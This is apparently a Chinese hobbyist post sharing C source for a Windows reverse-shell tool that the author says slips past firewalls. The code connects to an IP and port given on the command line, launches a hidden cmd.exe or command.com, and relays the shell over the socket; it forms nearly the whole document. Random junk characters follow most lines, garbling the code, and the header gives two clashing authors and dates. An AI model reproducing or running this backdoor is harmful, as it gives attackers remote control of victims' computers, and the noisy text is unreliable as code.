这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TH1B#Y#<J
,^s
/* ==============================
*~VxC{
Rebound port in Windows NT o'V%EQ
By wind,2006/7 4FMF|U
===============================*/ 6`H.%zM
#include xi'>m IT
#include ^4$'KIq
6XV<?
9q
#pragma comment(lib,"wsock32.lib") W?RE'QV8
pa]" iZz
void OutputShell(); m:CTPzAt
SOCKET sClient; P`SnavQBt
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /!&R9!6
:
]]iPEm"@
void main(int argc,char **argv) WQePSU
{ }iN2KeLAF
WSADATA stWsaData; 9@VO+E$7L
int nRet; 3.R#&Zxt
SOCKADDR_IN stSaiClient,stSaiServer; _D!g4"
x5si70BKC/
if(argc != 3) d]v+mVAyE
{ /Wj,1WX~
printf("Useage:\n\rRebound DestIP DestPort\n"); m6n!rRQ^U
return; K\.5h4k
} $p* p
=[tSd)D,y
WSAStartup(MAKEWORD(2,2),&stWsaData); 2 h|e
H=MCjh&$q
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =_TaA(79
d5 j_6X
stSaiClient.sin_family = AF_INET; m~l
F`?
stSaiClient.sin_port = htons(0); @9G- m(?*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); df*w>xS
RuRt0Sd3
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rjWLMbd.<
{ y9HK |
printf("Bind Socket Failed!\n"); 5F $V`kYT
return; CQg X=!q
} wzWbB2Mb5
{U!uVQC'
stSaiServer.sin_family = AF_INET; R4's7k
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c'fSu;1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1&)_(|p[C
:Ao!ls'=
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @1RP/y%
{ [w\?j,
printf("Connect Error!"); f|7u_f
return; `iShJz96
} JC;^--0(z
OutputShell(); H: {7X1bV
} Xh+ia#K
hZ\+FOx;
void OutputShell() YoODR
{ QL7>;t;
char szBuff[1024]; j5
wRGn3
SECURITY_ATTRIBUTES stSecurityAttributes; W 0[N0c
OSVERSIONINFO stOsversionInfo; \k8rxW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; keAcKhj
STARTUPINFO stStartupInfo; }E^S]hdvz
char *szShell; VV_l$E$
PROCESS_INFORMATION stProcessInformation; B0UJq./`
unsigned long lBytesRead; R!x:
C!{
76fIC
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Pt< s* (
JcO08n
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B/uniR^x
stSecurityAttributes.lpSecurityDescriptor = 0; m>&HuHf
stSecurityAttributes.bInheritHandle = TRUE; ~4,I7c7
q!,zq
|BU+:+
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^(x^6d
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <I*x0BM=
748CD{KxW
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uZ6d35MJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mz7l'4']+
stStartupInfo.wShowWindow = SW_HIDE; wwd'0P`/
stStartupInfo.hStdInput = hReadPipe; 2h^WYpCm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4N?v
n]CbDbNw7)
GetVersionEx(&stOsversionInfo); 5 MxL*DB=b
@$@mqHI}
switch(stOsversionInfo.dwPlatformId) %,*$D}H
{ {==pZpyyh
case 1: =(r*
5vd
szShell = "command.com"; fp>.Owt%.
break; B)SLG]72f
default: vFmJ;J
szShell = "cmd.exe"; "kW!{n
break; TJ@Cj y%
} {OMgd3%14
FcbM7/
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %kI}
[6J_
/M0/-pV9
send(sClient,szMsg,77,0); B\`Aojw"E?
while(1) zzpZ19"`1
{ ^+70<#Xc
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EmVuwphv
if(lBytesRead) 2-If]Fc
{ !%L,*'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9|r* pK[
send(sClient,szBuff,lBytesRead,0); tl8O6`<Z
} m 40m<@
else Y#V8(DTyH
{ EYS>0Y
lBytesRead=recv(sClient,szBuff,1024,0); P1kB>"bR
if(lBytesRead<=0) break; H3/caN:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H:&?ha,9
} 7G2PMe;$m
} M7}Q=q\9
X!,@j\L
return; JyBp-ii
}